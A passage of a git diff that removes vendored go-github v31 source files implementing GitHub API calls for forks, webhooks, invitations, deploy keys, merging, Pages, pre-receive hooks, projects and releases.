s.client.Do(ctx, req, &repos) - if err != nil { - return nil, resp, err - } - - return repos, resp, nil -} - -// RepositoryCreateForkOptions specifies the optional parameters to the -// RepositoriesService.CreateFork method. -type RepositoryCreateForkOptions struct { - // The organization to fork the repository into. - Organization string `url:"organization,omitempty"` -} - -// CreateFork creates a fork of the specified repository. -// -// This method might return an *AcceptedError and a status code of -// 202. This is because this is the status that GitHub returns to signify that -// it is now computing creating the fork in a background task. In this event, -// the Repository value will be returned, which includes the details about the pending fork. -// A follow up request, after a delay of a second or so, should result -// in a successful request. -// -// GitHub API docs: https://developer.github.com/v3/repos/forks/#create-a-fork -func (s *RepositoriesService) CreateFork(ctx context.Context, owner, repo string, opts *RepositoryCreateForkOptions) (*Repository, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/forks", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, nil, err - } - - fork := new(Repository) - resp, err := s.client.Do(ctx, req, fork) - if err != nil { - // Persist AcceptedError's metadata to the Repository object. - if aerr, ok := err.(*AcceptedError); ok { - if err := json.Unmarshal(aerr.Raw, fork); err != nil { - return fork, resp, err - } - - return fork, resp, err - } - return nil, resp, err - } - - return fork, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/repos_hooks.go b/vendor/github.com/google/go-github/v31/github/repos_hooks.go deleted file mode 100644 index d81e74c9cf..0000000000 --- a/vendor/github.com/google/go-github/v31/github/repos_hooks.go +++ /dev/null @@ -1,226 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// WebHookPayload represents the data that is received from GitHub when a push -// event hook is triggered. The format of these payloads pre-date most of the -// GitHub v3 API, so there are lots of minor incompatibilities with the types -// defined in the rest of the API. Therefore, several types are duplicated -// here to account for these differences. -// -// GitHub API docs: https://help.github.com/articles/post-receive-hooks -type WebHookPayload struct { - After *string `json:"after,omitempty"` - Before *string `json:"before,omitempty"` - Commits []*WebHookCommit `json:"commits,omitempty"` - Compare *string `json:"compare,omitempty"` - Created *bool `json:"created,omitempty"` - Deleted *bool `json:"deleted,omitempty"` - Forced *bool `json:"forced,omitempty"` - HeadCommit *WebHookCommit `json:"head_commit,omitempty"` - Pusher *User `json:"pusher,omitempty"` - Ref *string `json:"ref,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Sender *User `json:"sender,omitempty"` -} - -func (w WebHookPayload) String() string { - return Stringify(w) -} - -// WebHookCommit represents the commit variant we receive from GitHub in a -// WebHookPayload. -type WebHookCommit struct { - Added []string `json:"added,omitempty"` - Author *WebHookAuthor `json:"author,omitempty"` - Committer *WebHookAuthor `json:"committer,omitempty"` - Distinct *bool `json:"distinct,omitempty"` - ID *string `json:"id,omitempty"` - Message *string `json:"message,omitempty"` - Modified []string `json:"modified,omitempty"` - Removed []string `json:"removed,omitempty"` - Timestamp *time.Time `json:"timestamp,omitempty"` -} - -func (w WebHookCommit) String() string { - return Stringify(w) -} - -// WebHookAuthor represents the author or committer of a commit, as specified -// in a WebHookCommit. The commit author may not correspond to a GitHub User. -type WebHookAuthor struct { - Email *string `json:"email,omitempty"` - Name *string `json:"name,omitempty"` - Username *string `json:"username,omitempty"` -} - -func (w WebHookAuthor) String() string { - return Stringify(w) -} - -// Hook represents a GitHub (web and service) hook for a repository. -type Hook struct { - CreatedAt *time.Time `json:"created_at,omitempty"` - UpdatedAt *time.Time `json:"updated_at,omitempty"` - URL *string `json:"url,omitempty"` - ID *int64 `json:"id,omitempty"` - - // Only the following fields are used when creating a hook. - // Config is required. - Config map[string]interface{} `json:"config,omitempty"` - Events []string `json:"events,omitempty"` - Active *bool `json:"active,omitempty"` -} - -func (h Hook) String() string { - return Stringify(h) -} - -// createHookRequest is a subset of Hook and is used internally -// by CreateHook to pass only the known fields for the endpoint. -// -// See https://github.com/google/go-github/issues/1015 for more -// information. -type createHookRequest struct { - // Config is required. - Name string `json:"name"` - Config map[string]interface{} `json:"config,omitempty"` - Events []string `json:"events,omitempty"` - Active *bool `json:"active,omitempty"` -} - -// CreateHook creates a Hook for the specified repository. -// Config is a required field. -// -// Note that only a subset of the hook fields are used and hook must -// not be nil. -// -// GitHub API docs: https://developer.github.com/v3/repos/hooks/#create-a-hook -func (s *RepositoriesService) CreateHook(ctx context.Context, owner, repo string, hook *Hook) (*Hook, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/hooks", owner, repo) - - hookReq := &createHookRequest{ - Name: "web", - Events: hook.Events, - Active: hook.Active, - Config: hook.Config, - } - - req, err := s.client.NewRequest("POST", u, hookReq) - if err != nil { - return nil, nil, err - } - - h := new(Hook) - resp, err := s.client.Do(ctx, req, h) - if err != nil { - return nil, resp, err - } - - return h, resp, nil -} - -// ListHooks lists all Hooks for the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/hooks/#list-hooks -func (s *RepositoriesService) ListHooks(ctx context.Context, owner, repo string, opts *ListOptions) ([]*Hook, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/hooks", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var hooks []*Hook - resp, err := s.client.Do(ctx, req, &hooks) - if err != nil { - return nil, resp, err - } - - return hooks, resp, nil -} - -// GetHook returns a single specified Hook. -// -// GitHub API docs: https://developer.github.com/v3/repos/hooks/#get-single-hook -func (s *RepositoriesService) GetHook(ctx context.Context, owner, repo string, id int64) (*Hook, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/hooks/%d", owner, repo, id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - h := new(Hook) - resp, err := s.client.Do(ctx, req, h) - if err != nil { - return nil, resp, err - } - - return h, resp, nil -} - -// EditHook updates a specified Hook. -// -// GitHub API docs: https://developer.github.com/v3/repos/hooks/#edit-a-hook -func (s *RepositoriesService) EditHook(ctx context.Context, owner, repo string, id int64, hook *Hook) (*Hook, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/hooks/%d", owner, repo, id) - req, err := s.client.NewRequest("PATCH", u, hook) - if err != nil { - return nil, nil, err - } - h := new(Hook) - resp, err := s.client.Do(ctx, req, h) - if err != nil { - return nil, resp, err - } - - return h, resp, nil -} - -// DeleteHook deletes a specified Hook. -// -// GitHub API docs: https://developer.github.com/v3/repos/hooks/#delete-a-hook -func (s *RepositoriesService) DeleteHook(ctx context.Context, owner, repo string, id int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/hooks/%d", owner, repo, id) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} - -// PingHook triggers a 'ping' event to be sent to the Hook. -// -// GitHub API docs: https://developer.github.com/v3/repos/hooks/#ping-a-hook -func (s *RepositoriesService) PingHook(ctx context.Context, owner, repo string, id int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/hooks/%d/pings", owner, repo, id) - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} - -// TestHook triggers a test Hook by github. -// -// GitHub API docs: https://developer.github.com/v3/repos/hooks/#test-a-push-hook -func (s *RepositoriesService) TestHook(ctx context.Context, owner, repo string, id int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/hooks/%d/tests", owner, repo, id) - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/repos_invitations.go b/vendor/github.com/google/go-github/v31/github/repos_invitations.go deleted file mode 100644 index 6e76f2d579..0000000000 --- a/vendor/github.com/google/go-github/v31/github/repos_invitations.go +++ /dev/null @@ -1,89 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// RepositoryInvitation represents an invitation to collaborate on a repo. -type RepositoryInvitation struct { - ID *int64 `json:"id,omitempty"` - Repo *Repository `json:"repository,omitempty"` - Invitee *User `json:"invitee,omitempty"` - Inviter *User `json:"inviter,omitempty"` - - // Permissions represents the permissions that the associated user will have - // on the repository. Possible values are: "read", "write", "admin". - Permissions *string `json:"permissions,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` -} - -// ListInvitations lists all currently-open repository invitations. -// -// GitHub API docs: https://developer.github.com/v3/repos/invitations/#list-invitations-for-a-repository -func (s *RepositoriesService) ListInvitations(ctx context.Context, owner, repo string, opts *ListOptions) ([]*RepositoryInvitation, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/invitations", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - invites := []*RepositoryInvitation{} - resp, err := s.client.Do(ctx, req, &invites) - if err != nil { - return nil, resp, err - } - - return invites, resp, nil -} - -// DeleteInvitation deletes a repository invitation. -// -// GitHub API docs: https://developer.github.com/v3/repos/invitations/#delete-a-repository-invitation -func (s *RepositoriesService) DeleteInvitation(ctx context.Context, owner, repo string, invitationID int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/invitations/%v", owner, repo, invitationID) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} - -// UpdateInvitation updates the permissions associated with a repository -// invitation. -// -// permissions represents the permissions that the associated user will have -// on the repository. Possible values are: "read", "write", "admin". -// -// GitHub API docs: https://developer.github.com/v3/repos/invitations/#update-a-repository-invitation -func (s *RepositoriesService) UpdateInvitation(ctx context.Context, owner, repo string, invitationID int64, permissions string) (*RepositoryInvitation, *Response, error) { - opts := &struct { - Permissions string `json:"permissions"` - }{Permissions: permissions} - u := fmt.Sprintf("repos/%v/%v/invitations/%v", owner, repo, invitationID) - req, err := s.client.NewRequest("PATCH", u, opts) - if err != nil { - return nil, nil, err - } - - invite := &RepositoryInvitation{} - resp, err := s.client.Do(ctx, req, invite) - if err != nil { - return nil, resp, err - } - - return invite, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/repos_keys.go b/vendor/github.com/google/go-github/v31/github/repos_keys.go deleted file mode 100644 index 0eefd3dd96..0000000000 --- a/vendor/github.com/google/go-github/v31/github/repos_keys.go +++ /dev/null @@ -1,91 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// The Key type is defined in users_keys.go - -// ListKeys lists the deploy keys for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/keys/#list-deploy-keys -func (s *RepositoriesService) ListKeys(ctx context.Context, owner string, repo string, opts *ListOptions) ([]*Key, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/keys", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var keys []*Key - resp, err := s.client.Do(ctx, req, &keys) - if err != nil { - return nil, resp, err - } - - return keys, resp, nil -} - -// GetKey fetches a single deploy key. -// -// GitHub API docs: https://developer.github.com/v3/repos/keys/#get-a-deploy-key -func (s *RepositoriesService) GetKey(ctx context.Context, owner string, repo string, id int64) (*Key, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/keys/%v", owner, repo, id) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - key := new(Key) - resp, err := s.client.Do(ctx, req, key) - if err != nil { - return nil, resp, err - } - - return key, resp, nil -} - -// CreateKey adds a deploy key for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/keys/#add-a-new-deploy-key -func (s *RepositoriesService) CreateKey(ctx context.Context, owner string, repo string, key *Key) (*Key, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/keys", owner, repo) - - req, err := s.client.NewRequest("POST", u, key) - if err != nil { - return nil, nil, err - } - - k := new(Key) - resp, err := s.client.Do(ctx, req, k) - if err != nil { - return nil, resp, err - } - - return k, resp, nil -} - -// DeleteKey deletes a deploy key. -// -// GitHub API docs: https://developer.github.com/v3/repos/keys/#remove-a-deploy-key -func (s *RepositoriesService) DeleteKey(ctx context.Context, owner string, repo string, id int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/keys/%v", owner, repo, id) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/repos_merging.go b/vendor/github.com/google/go-github/v31/github/repos_merging.go deleted file mode 100644 index 04383c1ae3..0000000000 --- a/vendor/github.com/google/go-github/v31/github/repos_merging.go +++ /dev/null @@ -1,38 +0,0 @@ -// Copyright 2014 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// RepositoryMergeRequest represents a request to merge a branch in a -// repository. -type RepositoryMergeRequest struct { - Base *string `json:"base,omitempty"` - Head *string `json:"head,omitempty"` - CommitMessage *string `json:"commit_message,omitempty"` -} - -// Merge a branch in the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/merging/#perform-a-merge -func (s *RepositoriesService) Merge(ctx context.Context, owner, repo string, request *RepositoryMergeRequest) (*RepositoryCommit, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/merges", owner, repo) - req, err := s.client.NewRequest("POST", u, request) - if err != nil { - return nil, nil, err - } - - commit := new(RepositoryCommit) - resp, err := s.client.Do(ctx, req, commit) - if err != nil { - return nil, resp, err - } - - return commit, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/repos_pages.go b/vendor/github.com/google/go-github/v31/github/repos_pages.go deleted file mode 100644 index bdbd84b6c0..0000000000 --- a/vendor/github.com/google/go-github/v31/github/repos_pages.go +++ /dev/null @@ -1,221 +0,0 @@ -// Copyright 2014 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// Pages represents a GitHub Pages site configuration. -type Pages struct { - URL *string `json:"url,omitempty"` - Status *string `json:"status,omitempty"` - CNAME *string `json:"cname,omitempty"` - Custom404 *bool `json:"custom_404,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - Source *PagesSource `json:"source,omitempty"` -} - -// PagesSource represents a GitHub page's source. -type PagesSource struct { - Branch *string `json:"branch,omitempty"` - Path *string `json:"path,omitempty"` -} - -// PagesError represents a build error for a GitHub Pages site. -type PagesError struct { - Message *string `json:"message,omitempty"` -} - -// PagesBuild represents the build information for a GitHub Pages site. -type PagesBuild struct { - URL *string `json:"url,omitempty"` - Status *string `json:"status,omitempty"` - Error *PagesError `json:"error,omitempty"` - Pusher *User `json:"pusher,omitempty"` - Commit *string `json:"commit,omitempty"` - Duration *int `json:"duration,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` -} - -// createPagesRequest is a subset of Pages and is used internally -// by EnablePages to pass only the known fields for the endpoint. -type createPagesRequest struct { - Source *PagesSource `json:"source,omitempty"` -} - -// EnablePages enables GitHub Pages for the named repo. -// -// GitHub API docs: https://developer.github.com/v3/repos/pages/#enable-a-pages-site -func (s *RepositoriesService) EnablePages(ctx context.Context, owner, repo string, pages *Pages) (*Pages, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pages", owner, repo) - - pagesReq := &createPagesRequest{ - Source: pages.Source, - } - - req, err := s.client.NewRequest("POST", u, pagesReq) - if err != nil { - return nil, nil, err - } - - req.Header.Set("Accept", mediaTypeEnablePagesAPIPreview) - - enable := new(Pages) - resp, err := s.client.Do(ctx, req, enable) - if err != nil { - return nil, resp, err - } - - return enable, resp, nil -} - -// PagesUpdate sets up parameters needed to update a GitHub Pages site. -type PagesUpdate struct { - // CNAME represents a custom domain for the repository. - // Leaving CNAME empty will remove the custom domain. - CNAME *string `json:"cname"` - // Source must include the branch name, and may optionally specify the subdirectory "/docs". - // Possible values are: "gh-pages", "master", and "master /docs". - Source *string `json:"source,omitempty"` -} - -// UpdatePages updates GitHub Pages for the named repo. -// -// GitHub API docs: https://developer.github.com/v3/repos/pages/#update-information-about-a-pages-site -func (s *RepositoriesService) UpdatePages(ctx context.Context, owner, repo string, opts *PagesUpdate) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/pages", owner, repo) - - req, err := s.client.NewRequest("PUT", u, opts) - if err != nil { - return nil, err - } - - resp, err := s.client.Do(ctx, req, nil) - if err != nil { - return resp, err - } - - return resp, nil -} - -// DisablePages disables GitHub Pages for the named repo. -// -// GitHub API docs: https://developer.github.com/v3/repos/pages/#disable-a-pages-site -func (s *RepositoriesService) DisablePages(ctx context.Context, owner, repo string) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/pages", owner, repo) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeEnablePagesAPIPreview) - - return s.client.Do(ctx, req, nil) -} - -// GetPagesInfo fetches information about a GitHub Pages site. -// -// GitHub API docs: https://developer.github.com/v3/repos/pages/#get-information-about-a-pages-site -func (s *RepositoriesService) GetPagesInfo(ctx context.Context, owner, repo string) (*Pages, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pages", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - site := new(Pages) - resp, err := s.client.Do(ctx, req, site) - if err != nil { - return nil, resp, err - } - - return site, resp, nil -} - -// ListPagesBuilds lists the builds for a GitHub Pages site. -// -// GitHub API docs: https://developer.github.com/v3/repos/pages/#list-pages-builds -func (s *RepositoriesService) ListPagesBuilds(ctx context.Context, owner, repo string, opts *ListOptions) ([]*PagesBuild, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pages/builds", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var pages []*PagesBuild - resp, err := s.client.Do(ctx, req, &pages) - if err != nil { - return nil, resp, err - } - - return pages, resp, nil -} - -// GetLatestPagesBuild fetches the latest build information for a GitHub pages site. -// -// GitHub API docs: https://developer.github.com/v3/repos/pages/#get-latest-pages-build -func (s *RepositoriesService) GetLatestPagesBuild(ctx context.Context, owner, repo string) (*PagesBuild, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pages/builds/latest", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - build := new(PagesBuild) - resp, err := s.client.Do(ctx, req, build) - if err != nil { - return nil, resp, err - } - - return build, resp, nil -} - -// GetPageBuild fetches the specific build information for a GitHub pages site. -// -// GitHub API docs: https://developer.github.com/v3/repos/pages/#get-a-specific-pages-build -func (s *RepositoriesService) GetPageBuild(ctx context.Context, owner, repo string, id int64) (*PagesBuild, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pages/builds/%v", owner, repo, id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - build := new(PagesBuild) - resp, err := s.client.Do(ctx, req, build) - if err != nil { - return nil, resp, err - } - - return build, resp, nil -} - -// RequestPageBuild requests a build of a GitHub Pages site without needing to push new commit. -// -// GitHub API docs: https://developer.github.com/v3/repos/pages/#request-a-page-build -func (s *RepositoriesService) RequestPageBuild(ctx context.Context, owner, repo string) (*PagesBuild, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pages/builds", owner, repo) - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, nil, err - } - - build := new(PagesBuild) - resp, err := s.client.Do(ctx, req, build) - if err != nil { - return nil, resp, err - } - - return build, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/repos_prereceive_hooks.go b/vendor/github.com/google/go-github/v31/github/repos_prereceive_hooks.go deleted file mode 100644 index 1ce6478d33..0000000000 --- a/vendor/github.com/google/go-github/v31/github/repos_prereceive_hooks.go +++ /dev/null @@ -1,110 +0,0 @@ -// Copyright 2018 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// PreReceiveHook represents a GitHub pre-receive hook for a repository. -type PreReceiveHook struct { - ID *int64 `json:"id,omitempty"` - Name *string `json:"name,omitempty"` - Enforcement *string `json:"enforcement,omitempty"` - ConfigURL *string `json:"configuration_url,omitempty"` -} - -func (p PreReceiveHook) String() string { - return Stringify(p) -} - -// ListPreReceiveHooks lists all pre-receive hooks for the specified repository. -// -// GitHub API docs: https://developer.github.com/enterprise/2.13/v3/repos/pre_receive_hooks/#list-pre-receive-hooks -func (s *RepositoriesService) ListPreReceiveHooks(ctx context.Context, owner, repo string, opts *ListOptions) ([]*PreReceiveHook, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pre-receive-hooks", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypePreReceiveHooksPreview) - - var hooks []*PreReceiveHook - resp, err := s.client.Do(ctx, req, &hooks) - if err != nil { - return nil, resp, err - } - - return hooks, resp, nil -} - -// GetPreReceiveHook returns a single specified pre-receive hook. -// -// GitHub API docs: https://developer.github.com/enterprise/2.13/v3/repos/pre_receive_hooks/#get-a-single-pre-receive-hook -func (s *RepositoriesService) GetPreReceiveHook(ctx context.Context, owner, repo string, id int64) (*PreReceiveHook, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pre-receive-hooks/%d", owner, repo, id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypePreReceiveHooksPreview) - - h := new(PreReceiveHook) - resp, err := s.client.Do(ctx, req, h) - if err != nil { - return nil, resp, err - } - - return h, resp, nil -} - -// UpdatePreReceiveHook updates a specified pre-receive hook. -// -// GitHub API docs: https://developer.github.com/enterprise/2.13/v3/repos/pre_receive_hooks/#update-pre-receive-hook-enforcement -func (s *RepositoriesService) UpdatePreReceiveHook(ctx context.Context, owner, repo string, id int64, hook *PreReceiveHook) (*PreReceiveHook, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pre-receive-hooks/%d", owner, repo, id) - req, err := s.client.NewRequest("PATCH", u, hook) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypePreReceiveHooksPreview) - - h := new(PreReceiveHook) - resp, err := s.client.Do(ctx, req, h) - if err != nil { - return nil, resp, err - } - - return h, resp, nil -} - -// DeletePreReceiveHook deletes a specified pre-receive hook. -// -// GitHub API docs: https://developer.github.com/enterprise/2.13/v3/repos/pre_receive_hooks/#remove-enforcement-overrides-for-a-pre-receive-hook -func (s *RepositoriesService) DeletePreReceiveHook(ctx context.Context, owner, repo string, id int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/pre-receive-hooks/%d", owner, repo, id) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypePreReceiveHooksPreview) - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/repos_projects.go b/vendor/github.com/google/go-github/v31/github/repos_projects.go deleted file mode 100644 index 442f5232a3..0000000000 --- a/vendor/github.com/google/go-github/v31/github/repos_projects.go +++ /dev/null @@ -1,69 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ProjectListOptions specifies the optional parameters to the -// OrganizationsService.ListProjects and RepositoriesService.ListProjects methods. -type ProjectListOptions struct { - // Indicates the state of the projects to return. Can be either open, closed, or all. Default: open - State string `url:"state,omitempty"` - - ListOptions -} - -// ListProjects lists the projects for a repo. -// -// GitHub API docs: https://developer.github.com/v3/projects/#list-repository-projects -func (s *RepositoriesService) ListProjects(ctx context.Context, owner, repo string, opts *ProjectListOptions) ([]*Project, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/projects", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - var projects []*Project - resp, err := s.client.Do(ctx, req, &projects) - if err != nil { - return nil, resp, err - } - - return projects, resp, nil -} - -// CreateProject creates a GitHub Project for the specified repository. -// -// GitHub API docs: https://developer.github.com/v3/projects/#create-a-repository-project -func (s *RepositoriesService) CreateProject(ctx context.Context, owner, repo string, opts *ProjectOptions) (*Project, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/projects", owner, repo) - req, err := s.client.NewRequest("POST", u, opts) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeProjectsPreview) - - project := &Project{} - resp, err := s.client.Do(ctx, req, project) - if err != nil { - return nil, resp, err - } - - return project, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/repos_releases.go b/vendor/github.com/google/go-github/v31/github/repos_releases.go deleted file mode 100644 index 6cd64c7ff8..0000000000 --- a/vendor/github.com/google/go-github/v31/github/repos_releases.go +++ /dev/null @@ -1,401 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "errors" - "fmt" - "io" - "mime" - "net/http" - "os" - "path/filepath" - "strings" -) - -// RepositoryRelease represents a GitHub release in a repository. -type RepositoryRelease struct { - TagName *string `json:"tag_name,omitempty"` - TargetCommitish *string `json:"target_commitish,omitempty"` - Name *string `json:"name,omitempty"` - Body *string `json:"body,omitempty"` - Draft *bool `json:"draft,omitempty"` - Prerelease *bool `json:"prerelease,omitempty"` - - // The following fields are not used in CreateRelease or EditRelease: - ID *int64 `json:"id,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - PublishedAt *Timestamp `json:"published_at,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - AssetsURL *string `json:"assets_url,omitempty"` - Assets []*ReleaseAsset `json:"assets,omitempty"` - UploadURL *string `json:"upload_url,omitempty"` - ZipballURL *string `json:"zipball_url,omitempty"` - TarballURL *string `json:"tarball_url,omitempty"` - Author *User `json:"author,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -func (r RepositoryRelease) String() string { - return Stringify(r) -} - -// ReleaseAsset represents a GitHub release asset in a repository. -type ReleaseAsset struct { - ID *int64 `json:"id,omitempty"` - URL *string `json:"url,omitempty"` - Name *string `json:"name,omitempty"` - Label *string `json:"label,omitempty"` - State *string `json:"state,omitempty"` - ContentType *string `json:"content_type,omitempty"` - Size *int `json:"size,omitempty"` - DownloadCount *int `json:"download_count,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *Timestamp `json:"updated_at,omitempty"` - BrowserDownloadURL *string `json:"browser_download_url,omitempty"` - Uploader *User `json:"uploader,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -func (r ReleaseAsset) String() string { - return Stringify(r) -} - -// ListReleases lists the releases for a repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#list-releases-for-a-repository -func (s *RepositoriesService) ListReleases(ctx context.Context, owner, repo string, opts *ListOptions) ([]*RepositoryRelease, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases", owner, repo) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var releases []*RepositoryRelease - resp, err := s.client.Do(ctx, req, &releases) - if err != nil { - return nil, resp, err - } - return releases, resp, nil -} - -// GetRelease fetches a single release. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#get-a-single-release -func (s *RepositoriesService) GetRelease(ctx context.Context, owner, repo string, id int64) (*RepositoryRelease, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases/%d", owner, repo, id) - return s.getSingleRelease(ctx, u) -} - -// GetLatestRelease fetches the latest published release for the repository. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#get-the-latest-release -func (s *RepositoriesService) GetLatestRelease(ctx context.Context, owner, repo string) (*RepositoryRelease, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases/latest", owner, repo) - return s.getSingleRelease(ctx, u) -} - -// GetReleaseByTag fetches a release with the specified tag. -// -// GitHub API docs: https://developer.github.com/v3/repos/releases/#get-a-release-by-tag-name -func (s *RepositoriesService) GetReleaseByTag(ctx context.Context, owner, repo, tag string) (*RepositoryRelease, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/releases/tags/%s", owner, repo, tag) - return s.getSingleRelease(ctx, u) -} - -func (s *RepositoriesService) getSingleRelease(ctx context.Context, url string) (*RepositoryRelease, *Response, error) { - req, err := s.client.NewRequest("GET", url, nil) - if err != nil { - 